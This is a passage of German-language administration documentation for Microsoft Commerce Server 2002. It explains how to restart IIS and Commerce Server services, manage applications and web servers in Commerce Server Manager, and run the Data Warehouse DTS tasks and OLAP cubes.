  • Verwenden Sie zum Neustarten von IIS nicht den Befehl IISReset. Obwohl durch den Befehl IISReset IIS beendet und neugestartet wird, beendet und startet dieser Befehl unter bestimmten Bedingungen nicht Inetinfo.exe (W3SVC-Dienst). Wenn z. B. der W3SVC-Dienst so konfiguriert wurde, dass er nur manuell und nicht automatisch gestartet werden kann, wird er durch den Befehl IISReset nicht neu gestartet.

So starten Sie IIS neu

  1. Klicken Sie auf Start und anschließend auf Ausführen.
  2. Geben Sie im Dialogfeld Ausführen im Textfeld Öffnen zunächst net stop iisadmin ein, und klicken Sie dann auf OK.
  3. Wenn die Meldung Möchten Sie diesen Vorgang fortsetzen? angezeigt wird, geben Sie J ein, und drücken Sie die EINGABETASTE.

    IIS wird beendet. Beachten Sie, dass mit dem in Schritt 2 eingegebenen Befehl sowohl der Dienst iisadmin als auch der Dienst w3svc beendet werden.

  4. Klicken Sie auf Start und anschließend auf Ausführen.
  5. Geben Sie im Dialogfeld Ausführen im Textfeld Öffnen zunächst net start w3svc ein, und klicken Sie dann auf OK.

    IIS wird gestartet. Beachten Sie, dass sowohl der Dienst iisadmin als auch der Dienst w3svc neu gestartet werden.

Neustarten von CS-Diensten

Wenn Sie Commerce Server-Manager zum Ändern der globalen Ressourcen (vgl. nachstehende Tabelle) in Commerce Server verwenden, müssen Sie den jeweiligen CS-Dienst neu starten. Wenn Sie beispielsweise eine Eigenschaft des Commerce Server-Vorhersagedienstes ändern, ist der Neustart des Dienstes PredictorService erforderlich.

Anzeigename des Dienstes | Name des Dienstes
Commerce Server-Vorhersagedienst | PredictorService
Commerce Server Direct Mailer | DMLService
Commerce Server-Listen-Manager | ListManager

Wenn der Site Änderungen im Zusammenhang mit diesen Diensten zugewiesen werden sollen, ist der Neustart des jeweiligen Dienstes erforderlich.

Führen Sie zum Neustarten des Vorhersagedienstes, des Listen-Managers bzw. von Direct Mailer die folgenden Schritte aus:

  1. Klicken Sie auf Start und anschließend auf Ausführen.
  2. Geben Sie im Dialogfeld Ausführen im Textfeld Öffnen zunächst net stop Name des Dienstes ein, und klicken Sie dann auf OK.

    Hinweis

    • Name des Dienstes ist dabei der Name des Commerce Server-Dienstes. Vgl. oben stehende Tabelle.

    Der Commerce Server-Dienst wird beendet.

  3. Klicken Sie auf Start und anschließend auf Ausführen.
  4. Geben Sie im Dialogfeld Ausführen im Textfeld Öffnen zunächst net start Name des Dienstes ein, und klicken Sie dann auf OK.

    Hinweis

    • Name des Dienstes ist dabei der Name des Commerce Server-Dienstes. Vgl. oben stehende Tabelle.

    Der Commerce Server-Dienst wird gestartet.

Siehe auch

Entfernen einer Anwendung aus dem Speicher

Konfigurieren der CS-Authentifizierungsressource

Cookiefreigabe

Aktivieren von AuthFilter für die Retail-Lösungssite

Aktivieren von AuthFilter für die Supplier-Lösungssite

Deaktivieren von AuthFilter


Löschen einer Anwendung aus einer Site

Wenn Sie eine Anwendung aus einer Site löschen, werden die Anwendungsdaten in der Verwaltungsdatenbank gelöscht. Es werden weder Webserverdateien noch Einstellungen der Internetinformationsdienste (IIS) 5.0 gelöscht.

Bevor Sie eine Anwendung aus einer Site löschen, müssen Sie zunächst jeden Commerce-Webserver entfernen, der dieser Anwendung zugeordnet ist. Anweisungen über das Entfernen eines Webservers finden Sie unter Entfernen eines Webservers aus einer Anwendung.

So löschen Sie eine Anwendung aus einer Site

  1. Erweitern Sie erst Commerce Server-Manager, dann Commerce-Sites, und erweitern Sie dann die Site, die Sie verwalten möchten.
  2. Erweitern Sie Anwendungen, klicken Sie mit der rechten Maustaste auf die zu löschende Anwendung, und klicken Sie dann auf Löschen.

Die Anwendungskonfigurationsdaten werden aus der Verwaltungsdatenbank gelöscht.

Siehe auch

Entfernen eines Webservers aus einer Anwendung

Löschen einer Ressource aus einer Site

Löschen einer Site


Entfernen eines Webservers aus einer Anwendung

Wenn Sie einen Webserver aus einer Anwendung entfernen, wird das Commerce-Webserverobjekt aus der Verwaltungsdatenbank entfernt. Sie entfernen nicht Einstellungen der Internetinformationsdienste (IIS) 5.0 oder Webserverdateien.

Wenn Sie den von Commerce Server Business Desk verwendeten Webserver entfernen, werden Business Desk-Benutzer die Site nicht mehr verwalten können.

Nach dem Entfernen des letzten Servers aus einer Anwendung wird die Anwendung weiterhin im Commerce Server-Manager angezeigt.

So entfernen Sie einen Webserver aus einer Anwendung

  1. Erweitern Sie erst Commerce Server-Manager, dann Commerce-Sites, und erweitern Sie dann die Site, die Sie verwalten möchten.
  2. Erweitern Sie Anwendungen, und erweitern Sie dann die Anwendung, von welcher Sie das Commerce-Webserverobjekt entfernen möchten. Klicken Sie mit der rechten Maustaste auf das Webserverobjekt, und klicken Sie dann auf Löschen.

Das Commerce-Webserverobjekt wird aus der Anwendung entfernt; der Webserver wird nicht mehr unter der Anwendung angezeigt. Bei Bedarf können Sie denselben Webserver oder auch einen anderen Webserver der Anwendung hinzufügen.

Siehe auch

Hinzufügen eines Webservers zu einer Anwendung


Automatisches Hinzufügen eines Webservers

Sie können einen neuen Webserver mithilfe von Microsoft Application Center 2000 erstellen, um die Commerce Server-Dateien dem Webserver bereitzustellen. Sie können Commerce Server-Dateien aber auch manuell in den Webserver kopieren, anstatt Commerce Server Site Packager zu verwenden. Commerce Server-Lösungssites enthalten Code in Global.asa, der das automatische Hinzufügen eines Webservers zu einer Anwendung ermöglicht.

Wenn die Commerce Server-Anwendung zuerst auf dem neuen Webserver gestartet wird (z. B. wenn ein Benutzer eine Verbindung zum Webserver herstellt oder ein Lastenausgleich durchgeführt wird), und dann Global.asa startet, wird der Webserver automatisch zu der Verwaltungsdatenbank hinzugefügt. Der Webserver liest die für die Site benötigten Eigenschaften aus der Verwaltungsdatenbank.

Nach dem Hinzufügen des Webservers wird dieser im Commerce Server-Manager angezeigt, sodass Sie ihn verwalten können.


Hinzufügen einer Nicht-Commerce-Anwendung zu einer Site

Sie können den Commerce Server-Manager zum Hinzufügen von Anwendungen einsetzen, welche keine Commerce Server-Komponenten verwenden. Das Hinzufügen von Nicht-Commerce-Anwendungen erfüllt den Zweck, dass Sie die mit der Anwendung verknüpften Webserver-Protokolldateien dem Data Warehouse zum Import zur Verfügung stellen können.

So fügen Sie eine Nicht-Commerce-Anwendung zu einer Site hinzu

  1. Erweitern Sie erst Commerce Server-Manager, dann Commerce-Sites, und erweitern Sie dann die Site, die Sie verwalten möchten.
  2. Klicken Sie erst auf Anwendungen, klicken Sie mit der rechten Maustaste auf Anwendungen und klicken Sie dann auf Nicht-Commerce-Anwendung hinzufügen.
  3. Führen Sie im Dialogfeld Neue Nicht-Commerce-Anwendung auf der Registerkarte Allgemein folgende Schritte aus:
    Option | Aktion
    Webserver in dieser Anwendung führen IIS aus Wählen Sie diese Option aus, wenn die Server in der Nicht-Commerce-Anwendung Internetinformationsdienste (IIS) 5.0 ausführen.

    In einer Nicht-Commerce-Anwendung können nicht gleichzeitig IIS-Server und Nicht-IIS-Server vorhanden sein.
    Nicht sicherer Hostname Geben Sie den DNS (Domain Name System)-Domänennamen ein, den nicht gesicherte Links in der Anwendung verwenden.

    Vorsicht

    • Wenn Sie als Anschlussnummer nicht 80 verwenden, müssen Sie die von Ihnen verwendete Nummer an das Ende des Servernamens hängen (z. B. www.microsoft.com:81). Die Anschlussnummer können Sie auf der Registerkarte Identitäten des Dialogfelds Eigenschaften von Webserver im Feld TCP-Anschluss anzeigen oder bearbeiten. Weitere Informationen finden Sie unter Konfigurieren eines Webservers.
    IIS-Anwendungspfad oder Anwendungspfad | Geben Sie den Pfad zur Anwendung ein.
    HTTPS aktivieren | Wählen Sie diese Eigenschaft aus, wenn gesicherte Links in der Anwendung verwendet werden.
    Sicherer Hostname Geben Sie den DNS-Domänennamen ein, den gesicherte Links in der Anwendung verwenden.

    Vorsicht

    • Wenn Sie als Anschlussnummer nicht 443 verwenden, müssen Sie die von Ihnen verwendete Nummer an das Ende des Servernamens hängen (z. B. www.microsoft.com:441). Die SSL-Anschlussnummer können Sie auf der Registerkarte Identitäten des Dialogfelds Eigenschaften von Webserver im Feld SSL-Anschluss anzeigen oder bearbeiten. Weitere Informationen finden Sie unter Konfigurieren eines Webservers.
  4. Führen Sie auf der Registerkarte Webserver folgende Schritte aus:
    Option | Aktion
    IIS-Website | Geben Sie den Namen der IIS-Website ein (z. B. Standardwebsite).
    Lokale Domäne | Geben Sie den Namen der lokalen Domäne ein (z. B. microsoft.com).
    Namen und Speicherort der Protokolldatei synchronisieren | Deaktivieren Sie diese Eigenschaft, sodass der Wert für Protokolldateiverzeichnis auf der Registerkarte Protokolldat. des Dialogfelds Eigenschaften von Webserver nicht mit dem IIS-Wert überschrieben wird. Dieses Feld ist standardmäßig aktiviert.
  5. Klicken Sie auf OK.

Siehe auch

Hinzufügen eines Nicht-Commerce-Webservers zu einer Anwendung

Konfigurieren eines Webservers


Hinzufügen eines Nicht-Commerce-Webservers zu einer Anwendung

Mit dem Commerce Server-Manager können Sie Webserver hinzufügen, welche keine Commerce Server-Komponenten verwenden. Das Hinzufügen anderer Webserver hat den Zweck, dass Sie die Webserver-Protokolldateien dem Data Warehouse zum Import zur Verfügung stellen können.

Hinweise

  • Wenn das Feld Webserver in dieser Anwendung führen IIS aus im Dialogfeld Eigenschaften von Anwendung aktiviert ist, können Sie entweder eine neue Protokolldateiperiode oder die Eigenschaft Protokolldateimaske, aber nicht beide Eigenschaften verwenden.
  • Wenn im Dialogfeld Eigenschaften von Anwendung das Feld Namen und Speicherort der Protokolldatei synchronisieren aktiviert ist, dann wird im Dialogfeld Eigenschaften von Webserver der Wert für Protokolldateiverzeichnis mit dem Wert für IIS überschrieben.
  • Die Schaltfläche Werte synchronisieren ist nur aktiviert, wenn auf der Registerkarte Allgemein des Dialogfelds Eigenschaften von Anwendung die Option Webserver in dieser Anwendung führen IIS aus aktiv ist und Änderungen über die IIS-Benutzeroberfläche vorgenommen wurden. Sie können dann mit der Schaltfläche Werte synchronisieren den Commerce Server-Manager mit IIS synchronisieren.

So fügen Sie einen Nicht-Commerce-Webserver zu einer Anwendung hinzu

  1. Erweitern Sie erst Commerce Server-Manager, dann Commerce-Sites, und erweitern Sie dann die Site, die Sie verwalten möchten.
  2. Erweitern Sie Anwendungen, klicken Sie auf den Namen der Nicht-Commerce-Anwendung, der Sie einen Webserver hinzufügen möchten, und klicken Sie dann mit der rechten Maustaste auf sie. Zeigen Sie auf Neu, und klicken Sie anschließend auf Nicht-Commerce-Webserver hinzufügen.
  3. Geben Sie auf der Registerkarte Identitäten des Dialogfelds Neuer Nicht-Commerce-Webserver den Namen des Computers ein, auf dem der Nicht-Commerce-Webserver ausgeführt wird.
  4. Klicken Sie im Feld Identitäten auf Hinzufügen.
  5. Geben Sie im Dialogfeld Websitekonfiguration die IP-Adresse, den TCP-Anschluss und den Hostheadernamen für den Nicht-Commerce-Webserver ein, und klicken Sie auf OK.
  6. Klicken Sie bei Verwendung eines gesicherten HTTP-Hosts (SSL) in Ihren Anwendungen im Feld SSL-Identitäten auf Hinzufügen.
  7. Geben Sie im Dialogfeld Websitekonfiguration die IP-Adresse und den SSL-Anschluss für den Nicht-Commerce-Webserver ein, und klicken Sie auf OK.
  8. Nehmen Sie im Dialogfeld Neuer Nicht-Commerce-Webserver auf der Registerkarte Protokolldat. die folgenden Einstellungen vor:
    Option | Aktion
    Zeitraum für die Protokolldateiaktualisierung | Dieses Feld wird nur bei Verwendung von IIS ausgefüllt.
    Protokolldateimaske | Hier können Sie bei Bedarf eine benutzerdefinierte Protokolldateirotation angeben, um festzulegen, wie lange die IIS-Website in eine Protokolldatei schreibt, bevor sie eine neue Datei erstellt. Weitere Informationen, einschließlich Beispiele für Feldeinträge, finden Sie unter Festlegen einer Webserver-Protokolldateimaske.
    Protokolldateiverzeichnis | Geben Sie den Protokolldateipfad ein, in den die Website Ereignisse schreibt, z. B. C:\Winnt\System32\LogFiles\Log1. Sie können aber auch ein anderes Verzeichnis festlegen, wenn Sie vor der Ausführung der DTS-Importtasks die Webprotokolle vom Webserver in ein zentrales Verzeichnis kopieren.
    Codepage der Protokolldatei | In diesem Feld wird die von der gesamten Datei verwendete Codepage angezeigt.
    Codepage der URL-Codierung | In diesem Feld wird die von allen URLs verwendete Codepage angezeigt.
  9. Klicken Sie auf OK.

Siehe auch

Hinzufügen einer Nicht-Commerce-Anwendung zu einer Site

Festlegen einer Webserver-Protokolldateimaske


Ausführen des Data Warehouse

Mithilfe des Commerce Server-Data Warehouse können Sie Websitedaten importieren, transformieren und speichern. Daten können aus Webprotokolldateien, Commerce Server-Datenbanken und anderen Datenquellen, die Sie selbst festlegen, in das Data Warehouse importiert werden. Nach dem Import der Daten können Sie diese analysieren, indem Sie in Commerce Server Business Desk Berichte ausführen.

Die Data Warehouse-Datenbank wird beim Entpacken einer Site zu Microsoft SQL Server hinzugefügt. Zum Importieren und Verwalten der Daten arbeiten Sie mit Commerce Server DTS-Tasks (Data Transformation Services).

Wichtige Informationen zum Sichern des Data Warehouse, Ändern von Verbindungszeichenfolgen and Zuweisen von Berechtigungen für Business Desk-Benutzer finden Sie unter Sichern des Data Warehouse und Sichern von Berichten.

Dieser Abschnitt beinhaltet folgende Themen:

  • Workflow zum Ausführen von DTS-Tasks. Veranschaulicht die Reihenfolge, in der Sie die DTS-Tasks von Commerce Server ausführen müssen, um Daten in das Data Warehouse zu importieren und diese Daten umzuwandeln.
  • Informationen zum Data Warehouse. Beschreibt das Data Warehouse und die darin enthaltenen Datentypen.
  • Mehrere Sites und ein Data Warehouse. Beschreibt die vom Data Warehouse unterstützten Konfigurationsmöglichkeiten mit mehreren Sites.
  • Erweitern der Data Warehouse-Datenbank. Beschreibt, wie das Data Warehouse für den Import neuer Transaktions-, Profil- und Katalogeigenschaften erweitert werden kann.
  • Empfohlene Vorgehensweisen für das Data Warehouse. Beschreibt die Empfehlungen zur Bereitstellung, Konfiguration, Verwaltung und Pflege des Data Warehouse.
  • Extrahierungs-, Transformierungs- und Ladeprozesse für DTS-Tasks. Beschreibt, wie Daten aus speziellen Datenquellen extrahiert und anschließend mithilfe von Regeln, Algorithmen, Verkettungen oder anderen Konvertierungstypen umgewandelt werden. Beschreibt, wie die Daten in das Data Warehouse geladen werden.
  • Erstellen neuer Data Warehouse-Dateigruppen. Beschreibt, wie die Datenbankdateien des Data Warehouse von Commerce Server mithilfe von SQL Server-Dateigruppen verwaltet werden.
  • Ausführen des DTS-Konfigurationssynchronisations-Tasks. Erläutert die Synchronisierung der Sitekonfiguration mit dem Data Warehouse, sodass alle an der Anwendung vorgenommenen Änderungen an das Data Warehouse weitergegeben werden.
  • Importieren von Daten in das Data Warehouse. Erläutert das Importieren von Daten aus Webprotokolldateien, Katalogen und Transaktionen in das Data Warehouse.
  • Ausführen des DTS-IP-Auflösungstasks. Erläutert die Auflösung von IP-Adressen (Internet Protocol) und beschreibt, was bei der IP-Auflösung geschieht.
  • Löschen von Daten aus dem Data Warehouse. Erläutert, wie Daten aus dem Data Warehouse gelöscht werden.
  • Ausführen des DTS-Berichtsvorbereitungstasks. Erläutert die Verwendung des DTS-Berichtsvorbereitungstasks und beschreibt dessen Rolle beim Laden von Berichtsdaten in OLAP-Cubes.
  • Aktivieren von Drillthroughvorgängen in dynamischen Berichten. Erläutert, wie Drillthroughvorgänge für Cubes in dynamischen OLAP-Berichten aktiviert werden.
  • Überprüfung auf DTS-Task-Ausführungsfehler. Erläutert, wie Sie mithilfe des Taskverlaufs den Status ausgeführter Tasks anzeigen können.
  • Erstellen und Planen eines Pakets mit mehreren Tasks. Erläutert, wie Sie mit einem SQL Server-Paket und Workflowanweisungen sowie einem SQL Server-Zeitplaner den Import von Daten in das Data Warehouse automatisieren können.
  • Verschieben des Data Warehouse. Erläutert, wie das Data Warehouse und die Analysedatenbanken auf neue Computer verschoben werden.
  • Erstellen von Skripts für DTS-Tasks. Listet die zur Automatisierung der Verarbeitung von DTS-Tasks benötigten Skripts auf.


Workflow zum Ausführen von DTS-Tasks

Die DTS-Importtasks werden der Reihe nach so ausgeführt, dass zuerst Faktdaten und anschließend Dimensionsdaten importiert werden.

In der folgenden Abbildung ist die Reihenfolge dargestellt, in der Sie die Commerce Server-DTS-Tasks ausführen müssen, um Daten in das Data Warehouse zu importieren und diese Daten umzuwandeln.

Hinweise

  • Sie können die Commerce Server DTS-Tasks für den Import der Daten manuell konfigurieren oder den Data Warehouse-Import-Assistenten verwenden. Weitere Informationen über den Assistenten finden Sie unter Data Warehouse-Import-Assistent.
  • Führen Sie die DTS-Tasks stets der Reihe nach aus. Starten Sie niemals zwei DTS-Tasks (oder mehrere Instanzen eines Tasks) gleichzeitig für ein bestimmtes Data Warehouse.

    Wenn zwei DTS-Tasks gleichzeitig ausgeführt werden, werden die Daten im Data Warehouse beschädigt.

Siehe auch

Empfohlene Vorgehensweisen für das Data Warehouse

Extrahierungs-, Transformierungs- und Ladeprozesse für DTS-Tasks

(englisches Thema)

Data Warehouse, Analysis, and OLE DB Provider (englisches Thema)

Sichern des Data Warehouse

Sichern von Berichten

Mehrere Sites und ein Data Warehouse


Informationen zum Data Warehouse

Mithilfe des Commerce Server-Data Warehouse können Sie Websitedaten importieren, transformieren und speichern. Anhand der im Data Warehouse gespeicherten Daten können Sie die Benutzeraktivität in der Website analysieren. Commerce Server 2002 Standard Edition bietet Berichtsfeatures in Commerce Server Business Desk.

In diesen Berichten werden Daten aus dem Data Warehouse in verschiedenen Formaten so dargestellt, dass sie Aufschluss über spezifische wirtschaftliche Aspekte der Website geben.

Mithilfe des Data Warehouse können Sie die folgenden Aufgaben ausführen:

  • Importieren von Daten aus Webprotokolldateien, Transaktionen und Katalogen von der Commerce Server-Site. Es können auch Daten aus anderen Datenspeichern importiert werden, z. B. von anderen Webservern.
  • Auflösen von IP-Adressen (Internet Protocol), die für Clienthosts importiert wurden, die für benutzerdefinierte Berichte eine Verbindung zu der Site hergestellt haben.
  • Vorbereiten der im Data Warehouse gespeicherten Daten für die Analyse durch Auffüllen der OLAP-Cubes (Online Analytical Processing), in denen die Daten während der Ausführung von Berichten für den Abruf organisiert werden.
  • Löschen importierter Protokolldateidaten, um durch Commerce Server belegten Speicherplatz in der SQL Server-Datenbank freizugeben.
  • Löschen aller Daten aus dem Data Warehouse, um vorhandene Testdaten oder archivierte Daten zu entfernen.
  • Automatische erneute Erstellung von Analysemodellen zur Anzeige aktueller Daten für eine Vorhersage und die Archivierung vorhandener Analysemodelle.

Im Data Warehouse kommen für das Extrahieren, Transformieren und Laden der Daten (ETL-Daten) DTS-Tasks (Data Transformation Services) und OLAP-Cubes zum Einsatz. Detaillierte Informationen zu dem von jedem Task ausgeführten ETL-Prozess finden Sie unter Extrahierungs-, Transformierungs- und Ladeprozesse für DTS-Tasks.

Dieser Abschnitt beinhaltet folgende Themen:

  • DTS-Tasks in Commerce Server
  • Speichermodul des Data Warehouse
  • OLAP-Cubes


DTS-Tasks in CommerceServer

Feedback zu dieser Seite senden Commerce Server 2002

DTS-Tasks in Commerce Server

Mithilfe von Commerce Server-DTS-Tasks (Data Transformation Services) importieren Sie Daten in das Data Warehouse oder ändern vorhandene Daten. Die Commerce Server-Tasks werden beim Entpacken einer Site in SQL Server geladen. Wenn Sie Änderungen am Data Warehouse vornehmen möchten, fügen Sie die Commerce Server-Tasks einem SQL Server-Paket hinzu und führen dieses Paket dann aus. Detaillierte Informationen zur Funktionsweise der DTS-Tasks finden Sie unter Extrahierungs-, Transformierungs- und Ladeprozesse für DTS-Tasks.

Sie können die Commerce Server DTS-Tasks für den Import der Daten manuell konfigurieren oder den Data Warehouse-Import-Assistenten verwenden. Weitere Informationen über den Assistenten finden Sie unter Data Warehouse-Import-Assistent.

In der folgenden Tabelle sind die Tasks aufgeführt, die Commerce Server zur Datenbearbeitung im Data Warehouse bietet: Die Tasks sind in der Reihenfolge aufgeführt, in der sie ausgeführt werden müssen.

DTS-Task | Beschreibung
Konfigurationssynchronisation | Synchronisiert nach der Durchführung von Änderungen an Konfigurationseinstellungen das Data Warehouse mit der Commerce Server-Anwendung. Im Falle von Änderungen an der Konfiguration der Site sollte dieser Task vor jedem anderen Task ausgeführt werden.
Import von Webserverprotokollen | Importiert Daten aus von der Website generierten Webprotokolldateien. Diese Daten erhalten Sie, wenn Benutzer Ihre Site besuchen und auf Links zu Seiten Ihrer Site klicken. Bestandteil der Daten sind die Dauer des Aufenthalts in Ihrer Site, verweisende URLs, Anzeigenklicks, die Anzeigenreichweite, die Klickhäufigkeit sowie der "Weg", den Benutzer durch die Site nehmen, einschließlich der Eingangs- und Ausgangsseiten. Für den Webserverprotokollimport-Task können Sie angeben, welche Protokolldatei importiert werden soll und wo diese sich befindet. Die Webprotokolldateien müssen im erweiterten W3C-Webprotokolldateiformat (World Wide Web Consortium) vorliegen.
Transaktionsdatenimport | Definiert und importiert Transaktionsdaten. Transaktionsdaten werden in der Website erstellt, wenn ein Benutzer Artikel zum Warenkorb hinzufügt bzw. daraus entfernt oder einen Einkauf tätigt. Zum Analysieren der Transaktionsdaten können Sie Berichte ausführen.
Import von Produktkatalogen | Importiert Produktdaten aus Katalogen. Durch den Import von Produktdaten können Sie Transaktionsberichten Produktinformationen hinzufügen, die aussagekräftiger sind als die in den Transaktionsdaten enthaltenen. Sie können auch Berichte ausführen, um die Produktverkäufe zu analysieren.
Datenlöschung | Löscht Daten aus dem Data Warehouse. Sie können bei Bedarf Detaildaten einer Protokolldatei für eine bestimmte Site oder für alle Sites im Data Warehouse löschen. Sie können ebenfalls auch alle Daten im Data Warehouse löschen (Detaildaten und Zusammenfassungen).
IP-Auflösung | IP-Adressen (Internet Protocol) werden aus importierten Benutzerdaten aufgelöst. IP-Auflösung konvertiert aus Ihren Protokolldateien importierte IP-Adressen in Domänennamen. So wird beispielsweise 198.105.232.4 zu www.microsoft.com. Auf diese Weise können die Leser von Berichten die in den Berichten enthaltenen Daten leichter verstehen.
Berichtsvorbereitung | Bereitet Daten für die Verarbeitung von OLAP-Cubes und die SQL-Berichtserstellung vor und aktualisiert die Cubes nach einem Löschvorgang. Dieser Task muss nach jedem Import- und Löschtask durchgeführt werden.

Sie können zur Ausführung der Commerce Server-DTS-Tasks ebenfalls Skripts verwenden. Weitere Informationen über die Verwendung von Skripts zur Ausführung von DTS-Tasks finden Sie unter Erstellen von Skripts für DTS-Tasks.

Weitere Informationen über das Erstellen neuer DTS-Tasks finden Sie in der SQL Server-Onlinedokumentation.

Siehe auch

Extrahierungs-, Transformierungs- und Ladeprozesse für DTS-Tasks

Data Warehouse-Import-Assistent

Erstellen von Skripts für DTS-Tasks

Konfigurieren der Standardeigenschaften einer Website für den Import

Konfigurieren des DTS-Webserverprotokollimport-Tasks

Hinzufügen einer Nicht-Commerce-Anwendung zu einer Site

Hinzufügen eines Nicht-Commerce-Webservers zu einer Anwendung


Speichermodul des Data Warehouse

Das Speichermodul des Data Warehouse bietet die folgenden Speicherprozesse für das Laden von Daten in das Data Warehouse:

  • Zusammenfassung
  • Laden von Daten

Zusammenfassung

Mit der Zusammenfassung arbeiten Sie, um Transaktions- und Katalogdaten aus der Commerce Server-Datenbank zusammenzufassen, wenn Sie den DTS-Webserverprotokollimport-Task und den DTS-Berichtsvorbereitungstask ausführen. Bei der Zusammenfassung werden Rohdaten in der Commerce Server-Datenbank in Informationen im Data Warehouse transformiert, anhand derer Sie dann die Benutzeraktivität in der Website analysieren können. Zu diesem Zweck werden die relevanten Rohdaten zusammengeführt und gezählt.

So werden beispielsweise 1000 Einträge über einzelne Zugriffe auf eine bestimmte Seite zu der Information zusammengefasst, dass auf der Seite an diesem Tag 1000 Zugriffe stattfanden. Diese Informationen können für Sie von Nutzen sein, um einen vermehrten Datenverkehr in der Website zu planen.

Laden von Daten

Verwenden Sie diesen Prozess, um das Laden von großen Datenmengen in das Data Warehouse durch parallele Lese- und Schreibzugriffe zu unterstützen. Das Speichermodul führt Schreibvorgänge und parallele Fremdschlüsselsuchvorgänge mit hoher Geschwindigkeit durch, generiert Ersatzschlüssel und ordnet logische physischen Daten zu. Außerdem erstellt es mithilfe des SQL Server-BCP (Bulk Copy Program) mit hoher Geschwindigkeit Massenkopien.

Siehe auch

Konfigurieren der Standardeigenschaften einer Website für den Import

Konfigurieren des DTS-Webserverprotokollimport-Tasks

Hinzufügen einer Nicht-Commerce-Anwendung zu einer Site


OLAP-Cubes

Bei OLAP-Cubes (Online Analytical Processing) handelt es sich um Datenstrukturen, die im Data Warehouse die importierten Daten aufnehmen. Innerhalb der Cubes werden die Daten in Teilmengen unterteilt, die nach gemeinsamen Dimensionen definiert werden.

Bei einer Dimension handelt es sich um das beschreibende Attribut eines Measures. Eine Dimension kann z. B. die Anzahl der Transaktionen in Ihrer Site beschreiben. Dabei ist die Anzahl der Transaktionen ein Measure. Die Transaktion und die gekauften Produkte sind Dimensionen. In der folgenden Abbildung wird der Zusammenhang zwischen Dimensionen und Measures verdeutlicht.

Dimensionen und Measures.

Die von Commerce Server verwendeten OLAP-Cubes werden während des Entpackens erstellt und dann aufgefüllt und für den Datenabruf aufbereitet, sobald der DTS-Berichtsvorbereitungstask ausgeführt wird. Durch die Speicherung von Daten in Cubes können Daten rascher abgerufen werden, wenn Sie in Business Desk Analyseberichte für die Website ausführen. Der folgenden Tabelle können Sie die Cubes und Dimensionen von Commerce Server entnehmen.

Cube | Dimensionen
mscsSales | Datum Produktkategorie Site Benutzertyp Adresse Währung
Warenkorbereignisse | Datum und Uhrzeit Ereignisse Site Benutzertyp Produktkategorie
Bestellereignisse | Datum und Uhrzeit Wochentag Ereignisse Tageszeit Site Benutzertyp Kalenderwoche
Käuferbesuche | Käufertyp Site Benutzertyp
Bandbreite | Datum und Uhrzeit Wochentag Tageszeit Site
Eingangsseiten | Datum Site URI
Ausgangsseiten | Datum Site URI
mscsWebUsage | Datum Datum und Uhrzeit Wochentag Uhrzeit Verweiser Benutzertyp Kalenderwoche
mscsVisitInfo | Datum Datum und Uhrzeit Wochentag Uhrzeit Verweiser Benutzertyp Kalenderwoche
Seitenverwendung | Datum HTTP-Status Ist-Anforderung Ebenenverzeichnis Site URI Win32-Status

Weitere Informationen zu OLAP-Cubes finden Sie in der SQL Server-Onlinedokumentation.

Siehe auch

Konfigurieren der Standardeigenschaften einer Website für den Import

Konfigurieren des DTS-Webserverprotokollimport-Tasks

Hinzufügen einer Nicht-Commerce-Anwendung zu einer Site


Mehrere Sites und ein Data Warehouse

In einem Commerce Server Data Warehouse können Daten von bis zu zehn Sites gespeichert werden. Sie können mithilfe von Commerce Server-DTS-Tasks Aktionen für eine bestimmte Site oder für alle Sites im Data Warehouse ausführen.

Microsoft IIS (Internetinformationsdienste) unterstützt mehrere virtuelle Server (d. h. Standardwebsite) auf einem einzelnen physischen Server. Jeder dieser virtuellen Server erzeugt eine Protokolldatei. Sie verknüpfen die Protokolldateien mit einer Data Warehouse-Site, wenn Sie den DTS-Webserverprotokollimport-Task konfigurieren. Weitere Informationen finden Sie unter Konfigurieren des DTS-Webserverprotokollimport-Tasks.

Das Data Warehouse unterstützt die folgenden Szenarien für mehrere Sites:

  • Import von Webserver-Protokolldateien für mehrere Sites unter Verwendung verschiedener Protokolldateien.
  • Import von Webserver-Protokolldateien für mehrere Sites, wobei jede Site denselben Servernamen hat, jedoch einen anderen Port verwendet.
  • Import von Webserver-Protokolldateien für mehrere Sites, wobei jede Site einen anderen Hostheader hat.
  • Gemeinsamer Zugriff auf Ressourcen und Datenbanken, die sich in verschiedenen Sites befinden. Eine Liste der Commerce Server-Ressourcen, für die ein gemeinsamer siteübergreifender Zugriff möglich ist, finden Sie unter Gemeinsamer Zugriff auf Ressourcen von verschiedenen Sites.

    Beispielsweise könnte für die beiden Sites "Meine Kleidung" und "Babykleidung" ein gemeinsamer Zugriff auf die Profilressourcen definiert sein.

  • Gemeinsamer Zugriff auf ein Data Warehouse für mehrere Sites, die sich in unterschiedlichen Zeitzonen befinden und jeweils über eigene Onlineressourcen verfügen.

Probleme

Wenn Sie ein Data Warehouse für mehrere Sites verwenden, können folgende Probleme auftreten:

  • Bei der Ausführung des DTS-Transaktionsdatenimport-Tasks für ein Data Warehouse, das Daten für mehrere Websites enthält, müssen Sie sicherstellen, dass Klassen, die um mehr als eine Website erweitert sind, eindeutig benannte Elemente besitzen, wenn ihre Datentypen nicht identisch sind. Wenn einer Klasse in verschiedenen Websites ein neues Element hinzugefügt wird und der Datentyp der neuen Elemente nicht übereinstimmt, kann ein Fehler auftreten, oder die Daten werden bei Ausführung des DTS-Transaktionsdatenimport-Tasks nicht richtig konvertiert.
  • Wenn ein Data Warehouse mehrere Sites unterstützt, müssen die Namen der Kataloge, für die Sie Daten importieren, eindeutig sein.

    Wenn zwei Sites jeweils identische Katalognamen und Produkte haben, die Katalogeigenschaften und Produktdefinitionen jedoch unterschiedlich sind, werden die Daten des zuerst importierten Katalogs überschrieben, wenn die Daten des zweiten Katalogs importiert werden.

  • Wenn die Profilressource von mehreren Sites im Data Warehouse genutzt wird, werden bei bestimmten Berichten einzelne Benutzer als zu jeder Site, die die Profilressource verwendet, zugehörig betrachtet. Dadurch steigt die Gesamtanzahl der Berichte, da die Benutzer für jede Site, in der sie registriert sind und in der die Profilressource verwendet wird, berücksichtigt werden.

    Die folgenden Berichte sind von diesem Problem betroffen:

    • Registrierte Benutzer nach Registrierungsdatum (Dynamisches SQL)
    • Tage bis zur Registrierung (Dynamisches SQL)
    • Benutzerregistrierungsrate (Dynamisches SQL)

    Wenn die Profilressource von mehreren Sites verwendet wird, deaktivieren bzw. ignorieren Sie die in diesen Berichten ausgegebenen Gesamtsummen.

Siehe auch

Sichern des Data Warehouse

Sichern von Berichten


Erweitern der Data Warehouse-Datenbank

